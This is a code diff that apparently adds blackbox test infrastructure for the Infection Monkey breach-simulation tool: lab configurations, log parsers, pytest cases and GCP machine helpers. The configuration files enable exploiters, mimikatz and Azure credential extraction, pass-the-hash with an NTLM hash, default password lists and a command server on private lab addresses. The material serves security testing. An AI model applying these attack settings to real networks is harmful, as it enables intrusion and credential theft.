new file mode 100644
index 000000000..1498530d5
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf
@@ -0,0 +1,190 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!",
+ "Ivrrw5zEzs"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "m0nk3y",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.44",
+ "10.2.2.15"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf b/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf
new file mode 100644
index 000000000..1ac0a6c3d
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/island_configs/WMI_PTH.conf
@@ -0,0 +1,188 @@
+{
+ "basic": {
+ "credentials": {
+ "exploit_password_list": [
+ "Password1!"
+ ],
+ "exploit_user_list": [
+ "Administrator",
+ "m0nk3y",
+ "user"
+ ]
+ },
+ "general": {
+ "should_exploit": true
+ }
+ },
+ "basic_network": {
+ "general": {
+ "blocked_ips": [],
+ "depth": 2,
+ "local_network_scan": false,
+ "subnet_scan_list": [
+ "10.2.2.15"
+ ]
+ },
+ "network_analysis": {
+ "inaccessible_subnets": []
+ }
+ },
+ "cnc": {
+ "servers": {
+ "command_servers": [
+ "10.2.2.251:5000"
+ ],
+ "current_server": "10.2.2.251:5000",
+ "internet_services": [
+ "monkey.guardicore.com",
+ "www.google.com"
+ ]
+ }
+ },
+ "exploits": {
+ "general": {
+ "exploiter_classes": [
+ "WmiExploiter",
+ "SSHExploiter",
+ "ShellShockExploiter",
+ "SambaCryExploiter",
+ "ElasticGroovyExploiter",
+ "Struts2Exploiter",
+ "WebLogicExploiter",
+ "HadoopExploiter",
+ "VSFTPDExploiter"
+ ],
+ "skip_exploit_if_file_exist": false
+ },
+ "ms08_067": {
+ "ms08_067_exploit_attempts": 5,
+ "remote_user_pass": "Password1!",
+ "user_to_add": "Monkey_IUSER_SUPPORT"
+ },
+ "rdp_grinder": {
+ "rdp_use_vbs_download": true
+ },
+ "sambacry": {
+ "sambacry_folder_paths_to_guess": [
+ "/",
+ "/mnt",
+ "/tmp",
+ "/storage",
+ "/export",
+ "/share",
+ "/shares",
+ "/home"
+ ],
+ "sambacry_shares_not_to_check": [
+ "IPC$",
+ "print$"
+ ],
+ "sambacry_trigger_timeout": 5
+ },
+ "smb_service": {
+ "smb_download_timeout": 300,
+ "smb_service_name": "InfectionMonkey"
+ }
+ },
+ "internal": {
+ "classes": {
+ "finger_classes": [
+ "SMBFinger",
+ "SSHFinger",
+ "PingScanner",
+ "HTTPFinger",
+ "MySQLFinger",
+ "MSSQLFinger",
+ "ElasticFinger"
+ ]
+ },
+ "dropper": {
+ "dropper_date_reference_path_linux": "/bin/sh",
+ "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
+ "dropper_set_date": true,
+ "dropper_target_path_linux": "/tmp/monkey",
+ "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
+ "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
+ "dropper_try_move_first": true
+ },
+ "exploits": {
+ "exploit_lm_hash_list": [],
+ "exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ],
+ "exploit_ssh_keys": []
+ },
+ "general": {
+ "keep_tunnel_open_time": 1,
+ "monkey_dir_name": "monkey_dir",
+ "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
+ },
+ "kill_file": {
+ "kill_file_path_linux": "/var/run/monkey.not",
+ "kill_file_path_windows": "%windir%\\monkey.not"
+ },
+ "logging": {
+ "dropper_log_path_linux": "/tmp/user-1562",
+ "dropper_log_path_windows": "%temp%\\~df1562.tmp",
+ "monkey_log_path_linux": "/tmp/user-1563",
+ "monkey_log_path_windows": "%temp%\\~df1563.tmp",
+ "send_log_to_server": true
+ }
+ },
+ "monkey": {
+ "behaviour": {
+ "PBA_linux_filename": "",
+ "PBA_windows_filename": "",
+ "custom_PBA_linux_cmd": "",
+ "custom_PBA_windows_cmd": "",
+ "self_delete_in_cleanup": true,
+ "serialize_config": false,
+ "use_file_logging": true
+ },
+ "general": {
+ "alive": true,
+ "post_breach_actions": []
+ },
+ "life_cycle": {
+ "max_iterations": 1,
+ "retry_failed_explotation": true,
+ "timeout_between_iterations": 100,
+ "victims_max_exploit": 7,
+ "victims_max_find": 30
+ },
+ "system_info": {
+ "collect_system_info": true,
+ "extract_azure_creds": true,
+ "should_use_mimikatz": true
+ }
+ },
+ "network": {
+ "ping_scanner": {
+ "ping_scan_timeout": 1000
+ },
+ "tcp_scanner": {
+ "HTTP_PORTS": [
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 7001
+ ],
+ "tcp_scan_get_banner": true,
+ "tcp_scan_interval": 0,
+ "tcp_scan_timeout": 3000,
+ "tcp_target_ports": [
+ 22,
+ 2222,
+ 445,
+ 135,
+ 3389,
+ 80,
+ 8080,
+ 443,
+ 8008,
+ 3306,
+ 9200,
+ 7001
+ ]
+ }
+ }
+}
diff --git a/envs/monkey_zoo/blackbox/log_handlers/__init__.py b/envs/monkey_zoo/blackbox/log_handlers/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py
new file mode 100644
index 000000000..091be570a
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log.py
@@ -0,0 +1,38 @@
+import os
+
+import logging
+from bson import ObjectId
+
+LOGGER = logging.getLogger(__name__)
+
+
+class MonkeyLog(object):
+ def __init__(self, monkey, log_dir_path):
+ self.monkey = monkey
+ self.log_dir_path = log_dir_path
+
+ def download_log(self, island_client):
+ log = island_client.find_log_in_db({'monkey_id': ObjectId(self.monkey['id'])})
+ if not log:
+ LOGGER.error("Log for monkey {} not found".format(self.monkey['ip_addresses'][0]))
+ return False
+ else:
+ self.write_log_to_file(log)
+ return True
+
+ def write_log_to_file(self, log):
+ with open(self.get_log_path_for_monkey(self.monkey), 'w') as log_file:
+ log_file.write(MonkeyLog.parse_log(log))
+
+ @staticmethod
+ def parse_log(log):
+ log = log.strip('"')
+ log = log.replace("\\n", "\n ")
+ return log
+
+ @staticmethod
+ def get_filename_for_monkey_log(monkey):
+ return "{}.txt".format(monkey['ip_addresses'][0])
+
+ def get_log_path_for_monkey(self, monkey):
+ return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))
diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py
new file mode 100644
index 000000000..44804a1fd
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_log_parser.py
@@ -0,0 +1,43 @@
+import logging
+import re
+
+LOGGER = logging.getLogger(__name__)
+
+
+class MonkeyLogParser(object):
+
+ def __init__(self, log_path):
+ self.log_path = log_path
+ self.log_contents = self.read_log()
+
+ def read_log(self):
+ with open(self.log_path, 'r') as log:
+ return log.read()
+
+ def print_errors(self):
+ errors = MonkeyLogParser.get_errors(self.log_contents)
+ if len(errors) > 0:
+ LOGGER.info("Found {} errors:".format(len(errors)))
+ for index, error_line in enumerate(errors):
+ LOGGER.info("Err #{}: {}".format(index, error_line))
+ else:
+ LOGGER.info("No errors!")
+
+ @staticmethod
+ def get_errors(log_contents):
+ searcher = re.compile(r"^.*:ERROR].*$", re.MULTILINE)
+ return searcher.findall(log_contents)
+
+ def print_warnings(self):
+ warnings = MonkeyLogParser.get_warnings(self.log_contents)
+ if len(warnings) > 0:
+ LOGGER.info("Found {} warnings:".format(len(warnings)))
+ for index, warning_line in enumerate(warnings):
+ LOGGER.info("Warn #{}: {}".format(index, warning_line))
+ else:
+ LOGGER.info("No warnings!")
+
+ @staticmethod
+ def get_warnings(log_contents):
+ searcher = re.compile(r"^.*:WARNING].*$", re.MULTILINE)
+ return searcher.findall(log_contents)
diff --git a/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py
new file mode 100644
index 000000000..dbed46780
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/log_handlers/monkey_logs_downloader.py
@@ -0,0 +1,26 @@
+import logging
+
+from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
+
+LOGGER = logging.getLogger(__name__)
+
+
+class MonkeyLogsDownloader(object):
+
+ def __init__(self, island_client, log_dir_path):
+ self.island_client = island_client
+ self.log_dir_path = log_dir_path
+ self.monkey_log_paths = []
+
+ def download_monkey_logs(self):
+ LOGGER.info("Downloading each monkey log.")
+ all_monkeys = self.island_client.get_all_monkeys_from_db()
+ for monkey in all_monkeys:
+ downloaded_log_path = self._download_monkey_log(monkey)
+ if downloaded_log_path:
+ self.monkey_log_paths.append(downloaded_log_path)
+
+ def _download_monkey_log(self, monkey):
+ log_handler = MonkeyLog(monkey, self.log_dir_path)
+ download_successful = log_handler.download_log(self.island_client)
+ return log_handler.get_log_path_for_monkey(monkey) if download_successful else None
diff --git a/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py
new file mode 100644
index 000000000..b54f773e6
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py
@@ -0,0 +1,50 @@
+import os
+import shutil
+
+import logging
+
+from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser
+from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader
+
+LOG_DIR_NAME = 'logs'
+LOGGER = logging.getLogger(__name__)
+
+
+class TestLogsHandler(object):
+ def __init__(self, test_name, island_client, log_dir_path):
+ self.test_name = test_name
+ self.island_client = island_client
+ self.log_dir_path = os.path.join(log_dir_path, self.test_name)
+
+ def parse_test_logs(self):
+ log_paths = self.download_logs()
+ if not log_paths:
+ LOGGER.error("No logs were downloaded. Maybe no monkeys were ran "
+ "or early exception prevented log download?")
+ return
+ TestLogsHandler.parse_logs(log_paths)
+
+ def download_logs(self):
+ self.try_create_log_dir_for_test()
+ downloader = MonkeyLogsDownloader(self.island_client, self.log_dir_path)
+ downloader.download_monkey_logs()
+ return downloader.monkey_log_paths
+
+ def try_create_log_dir_for_test(self):
+ try:
+ os.mkdir(self.log_dir_path)
+ except Exception as e:
+ LOGGER.error("Can't create a dir for test logs: {}".format(e))
+
+ @staticmethod
+ def delete_log_folder_contents(log_dir_path):
+ shutil.rmtree(log_dir_path, ignore_errors=True)
+ os.mkdir(log_dir_path)
+
+ @staticmethod
+ def parse_logs(log_paths):
+ for log_path in log_paths:
+ LOGGER.info("Info from log at {}".format(log_path))
+ log_parser = MonkeyLogParser(log_path)
+ log_parser.print_errors()
+ log_parser.print_warnings()
diff --git a/envs/monkey_zoo/blackbox/pytest.ini b/envs/monkey_zoo/blackbox/pytest.ini
new file mode 100644
index 000000000..d8ba6b47a
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/pytest.ini
@@ -0,0 +1,5 @@
+[pytest]
+log_cli = 1
+log_cli_level = INFO
+log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s
+log_cli_date_format=%H:%M:%S
diff --git a/envs/monkey_zoo/blackbox/requirements.txt b/envs/monkey_zoo/blackbox/requirements.txt
new file mode 100644
index 000000000..0e6bd0ea3
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/requirements.txt
@@ -0,0 +1,2 @@
+pytest
+unittest
diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py
new file mode 100644
index 000000000..2f8be839d
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/test_blackbox.py
@@ -0,0 +1,110 @@
+import os
+import logging
+
+import pytest
+from time import sleep
+
+from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
+from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
+from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
+from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
+from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
+from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
+
+DEFAULT_TIMEOUT_SECONDS = 5*60
+MACHINE_BOOTUP_WAIT_SECONDS = 30
+GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2-v3', 'hadoop-3', 'mssql-16',
+ 'mimikatz-14', 'mimikatz-15', 'final-test-struts2-23', 'final-test-struts2-24',
+ 'tunneling-9', 'tunneling-10', 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
+LOG_DIR_PATH = "./logs"
+LOGGER = logging.getLogger(__name__)
+
+
+@pytest.fixture(autouse=True, scope='session')
+def GCPHandler(request):
+ GCPHandler = gcp_machine_handlers.GCPHandler()
+ GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
+ wait_machine_bootup()
+
+ def fin():
+ GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
+
+ request.addfinalizer(fin)
+
+
+@pytest.fixture(autouse=True, scope='session')
+def delete_logs():
+ LOGGER.info("Deleting monkey logs before new tests.")
+ TestLogsHandler.delete_log_folder_contents(TestMonkeyBlackbox.get_log_dir_path())
+
+
+def wait_machine_bootup():
+ sleep(MACHINE_BOOTUP_WAIT_SECONDS)
+
+
+@pytest.fixture(scope='class')
+def island_client(island):
+ island_client_object = MonkeyIslandClient(island)
+ island_client_object.reset_env()
+ yield island_client_object
+
+
+@pytest.mark.usefixtures('island_client')
+# noinspection PyUnresolvedReferences
+class TestMonkeyBlackbox(object):
+
+ @staticmethod
+ def run_basic_test(island_client, conf_filename, test_name, timeout_in_seconds=DEFAULT_TIMEOUT_SECONDS):
+ config_parser = IslandConfigParser(conf_filename)
+ analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())
+ log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path())
+ BasicTest(test_name,
+ island_client,
+ config_parser,
+ [analyzer],
+ timeout_in_seconds,
+ log_handler).run()
+
+ @staticmethod
+ def get_log_dir_path():
+ return os.path.abspath(LOG_DIR_PATH)
+
+ def test_server_online(self, island_client):
+ assert island_client.get_api_status() is not None
+
+ def test_ssh_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "SSH.conf", "SSH_exploiter_and_keys")
+
+ def test_hadoop_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "HADOOP.conf", "Hadoop_exploiter", 6*60)
+
+ def test_mssql_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "MSSQL.conf", "MSSQL_exploiter")
+
+ def test_smb_and_mimikatz_exploiters(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "SMB_MIMIKATZ.conf", "SMB_exploiter_mimikatz")
+
+ def test_smb_pth(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "SMB_PTH.conf", "SMB_PTH")
+
+ def test_elastic_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "ELASTIC.conf", "Elastic_exploiter")
+
+ def test_struts_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "STRUTS2.conf", "Strtuts2_exploiter")
+
+ def test_weblogic_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "WEBLOGIC.conf", "Weblogic_exploiter")
+
+ def test_shellshock_exploiter(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter")
+
+ @pytest.mark.xfail(reason="Test fails randomly - still investigating.")
+ def test_tunneling(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10*60)
+
+ def test_wmi_and_mimikatz_exploiters(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz")
+
+ def test_wmi_pth(self, island_client):
+ TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH")
diff --git a/envs/monkey_zoo/blackbox/tests/__init__.py b/envs/monkey_zoo/blackbox/tests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/blackbox/tests/basic_test.py b/envs/monkey_zoo/blackbox/tests/basic_test.py
new file mode 100644
index 000000000..d2fad4e1e
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/tests/basic_test.py
@@ -0,0 +1,98 @@
+import json
+from time import sleep
+
+import logging
+
+from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer
+
+MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60
+WAIT_TIME_BETWEEN_REQUESTS = 10
+TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40
+DELAY_BETWEEN_ANALYSIS = 3
+LOGGER = logging.getLogger(__name__)
+
+
+class BasicTest(object):
+
+ def __init__(self, name, island_client, config_parser, analyzers, timeout, log_handler):
+ self.name = name
+ self.island_client = island_client
+ self.config_parser = config_parser
+ self.analyzers = analyzers
+ self.timeout = timeout
+ self.log_handler = log_handler
+
+ def run(self):
+ LOGGER.info("Uploading configuration:\n{}".format(json.dumps(self.config_parser.config_json, indent=2)))
+ self.island_client.import_config(self.config_parser.config_raw)
+ self.print_test_starting_info()
+ try:
+ self.island_client.run_monkey_local()
+ self.test_until_timeout()
+ finally:
+ self.island_client.kill_all_monkeys()
+ self.wait_until_monkeys_die()
+ self.wait_for_monkey_process_to_finish()
+ self.parse_logs()
+ self.island_client.reset_env()
+
+ def print_test_starting_info(self):
+ LOGGER.info("Started {} test".format(self.name))
+ LOGGER.info("Machines participating in test:")
+ LOGGER.info(" ".join(self.config_parser.get_ips_of_targets()))
+ print("")
+
+ def test_until_timeout(self):
+ timer = TestTimer(self.timeout)
+ while not timer.is_timed_out():
+ if self.all_analyzers_pass():
+ self.log_success(timer)
+ return
+ sleep(DELAY_BETWEEN_ANALYSIS)
+ LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()))
+ self.log_failure(timer)
+ assert False
+
+ def log_success(self, timer):
+ LOGGER.info(self.get_analyzer_logs())
+ LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()))
+
+ def log_failure(self, timer):
+ LOGGER.info(self.get_analyzer_logs())
+ LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name,
+ timer.get_time_taken()))
+
+ def all_analyzers_pass(self):
+ for analyzer in self.analyzers:
+ if not analyzer.analyze_test_results():
+ return False
+ return True
+
+ def get_analyzer_logs(self):
+ log = ""
+ for analyzer in self.analyzers:
+ log += "\n" + analyzer.log.get_contents()
+ return log
+
+ def wait_until_monkeys_die(self):
+ time_passed = 0
+ while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE:
+ sleep(WAIT_TIME_BETWEEN_REQUESTS)
+ time_passed += WAIT_TIME_BETWEEN_REQUESTS
+ LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed))
+ if time_passed > MAX_TIME_FOR_MONKEYS_TO_DIE:
+ LOGGER.error("Some monkeys didn't die after the test, failing")
+ assert False
+
+ def parse_logs(self):
+ LOGGER.info("Parsing test logs:")
+ self.log_handler.parse_test_logs()
+
+ @staticmethod
+ def wait_for_monkey_process_to_finish():
+ """
+ There is a time period when monkey is set to dead, but the process is still closing.
+ If we try to launch monkey during that time window monkey will fail to start, that's
+ why test needs to wait a bit even after all monkeys are dead.
+ """
+ sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH)
diff --git a/envs/monkey_zoo/blackbox/utils/__init__.py b/envs/monkey_zoo/blackbox/utils/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py
new file mode 100644
index 000000000..3cb2ad6af
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/utils/gcp_machine_handlers.py
@@ -0,0 +1,54 @@
+import subprocess
+
+import logging
+
+LOGGER = logging.getLogger(__name__)
+
+
+class GCPHandler(object):
+
+ AUTHENTICATION_COMMAND = "gcloud auth activate-service-account --key-file=%s"
+ SET_PROPERTY_PROJECT = "gcloud config set project %s"
+ MACHINE_STARTING_COMMAND = "gcloud compute instances start %s --zone=%s"
+ MACHINE_STOPPING_COMMAND = "gcloud compute instances stop %s --zone=%s"
+
+ def __init__(self, key_path="../gcp_keys/gcp_key.json", zone="europe-west3-a", project_id="guardicore-22050661"):
+ self.zone = zone
+ try:
+ # pass the key file to gcp
+ subprocess.call(GCPHandler.get_auth_command(key_path), shell=True)
+ LOGGER.info("GCP Handler passed key")
+ # set project
+ subprocess.call(GCPHandler.get_set_project_command(project_id), shell=True)
+ LOGGER.info("GCP Handler set project")
+ LOGGER.info("GCP Handler initialized successfully")
+ except Exception as e:
+ LOGGER.error("GCP Handler failed to initialize: %s." % e)
+
+ def start_machines(self, machine_list):
+ """
+ Start all the machines in the list.
+ :param machine_list: A space-separated string with all the machine names. Example:
+ start_machines(`" ".join(["elastic-3", "mssql-16"])`)
+ """
+ LOGGER.info("Setting up all GCP machines...")
+ try:
+ subprocess.call((GCPHandler.MACHINE_STARTING_COMMAND % (machine_list, self.zone)), shell=True)
+ LOGGER.info("GCP machines successfully started.")
+ except Exception as e:
+ LOGGER.error("GCP Handler failed to start GCP machines: %s" % e)
+
+ def stop_machines(self, machine_list):
+ try:
+ subprocess.call((GCPHandler.MACHINE_STOPPING_COMMAND % (machine_list, self.zone)), shell=True)
+ LOGGER.info("GCP machines stopped successfully.")
+ except Exception as e:
+ LOGGER.error("GCP Handler failed to stop network machines: %s" % e)
+
+ @staticmethod
+ def get_auth_command(key_path):
+ return GCPHandler.AUTHENTICATION_COMMAND % key_path
+
+ @staticmethod
+ def get_set_project_command(project):
+ return GCPHandler.SET_PROPERTY_PROJECT % project
diff --git a/envs/monkey_zoo/blackbox/utils/json_encoder.py b/envs/monkey_zoo/blackbox/utils/json_encoder.py
new file mode 100644
index 000000000..77be9211a
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/utils/json_encoder.py
@@ -0,0 +1,9 @@
+import json
+from bson import ObjectId
+
+
+class MongoQueryJSONEncoder(json.JSONEncoder):
+ def default(self, o):
+ if isinstance(o, ObjectId):
+ return str(o)
+ return json.JSONEncoder.default(self, o)
diff --git a/envs/monkey_zoo/blackbox/utils/test_timer.py b/envs/monkey_zoo/blackbox/utils/test_timer.py
new file mode 100644
index 000000000..2c0ca490a
--- /dev/null
+++ b/envs/monkey_zoo/blackbox/utils/test_timer.py
@@ -0,0 +1,17 @@
+from time import time
+
+
+class TestTimer(object):
+ def __init__(self, timeout):
+ self.timeout_time = TestTimer.get_timeout_time(timeout)
+ self.start_time = time()
+
+ def is_timed_out(self):
+ return time() > self.timeout_time
+
+ def get_time_taken(self):
+ return time() - self.start_time
+
+ @staticmethod
+ def get_timeout_time(timeout):
+ return time() + timeout
diff --git a/envs/monkey_zoo/configs/fullTest.conf b/envs/monkey_zoo/configs/fullTest.conf
index 8ffa668ef..d90d84ca4 100644
--- a/envs/monkey_zoo/configs/fullTest.conf
+++ b/envs/monkey_zoo/configs/fullTest.conf
@@ -62,7 +62,6 @@
"exploiter_classes": [
"SmbExploiter",
"WmiExploiter",
- "RdpExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter",
@@ -79,9 +78,6 @@
"remote_user_pass": "Password1!",
"user_to_add": "Monkey_IUSER_SUPPORT"
},
- "rdp_grinder": {
- "rdp_use_vbs_download": true
- },
"sambacry": {
"sambacry_folder_paths_to_guess": [
"/",
diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md
index 217a22b23..a8c0687fc 100644
--- a/envs/monkey_zoo/docs/fullDocs.md
+++ b/envs/monkey_zoo/docs/fullDocs.md
@@ -58,7 +58,7 @@ Requirements:
To deploy:
1. Configure service account for your project:
- a. Create a service account and name it “your\_name-monkeyZoo-user”
+ a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user”
b. Give these permissions to your service account:
@@ -74,7 +74,7 @@ To deploy:
**Project -> Owner**
- c. Download its **Service account key**. Select JSON format.
+ c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**.
2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them):
a. **Compute Engine -\> Compute image user**
@@ -82,20 +82,30 @@ To deploy:
../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to
link to your service account key file):
- > provider "google" {
- >
- > project = "project-28054666"
- >
- > region = "europe-west3"
- >
- > zone = "europe-west3-b"
- >
- > credentials = "${file("project-92050661-9dae6c5a02fc.json")}"
- >
- > }
- >
- > service\_account\_email="test@project-925243.iam.gserviceaccount.com"
-
+ provider "google" {
+
+ project = "test-000000" // Change to your project id
+
+ region = "europe-west3" // Change to your desired region or leave default
+
+ zone = "europe-west3-b" // Change to your desired zone or leave default
+
+ credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key.
+ // If you followed instruction above leave it as is
+
+ }
+
+ locals {
+
+ resource_prefix = "" // All of the resources will have this prefix.
+ // Only change if you want to have multiple zoo's in the same project
+
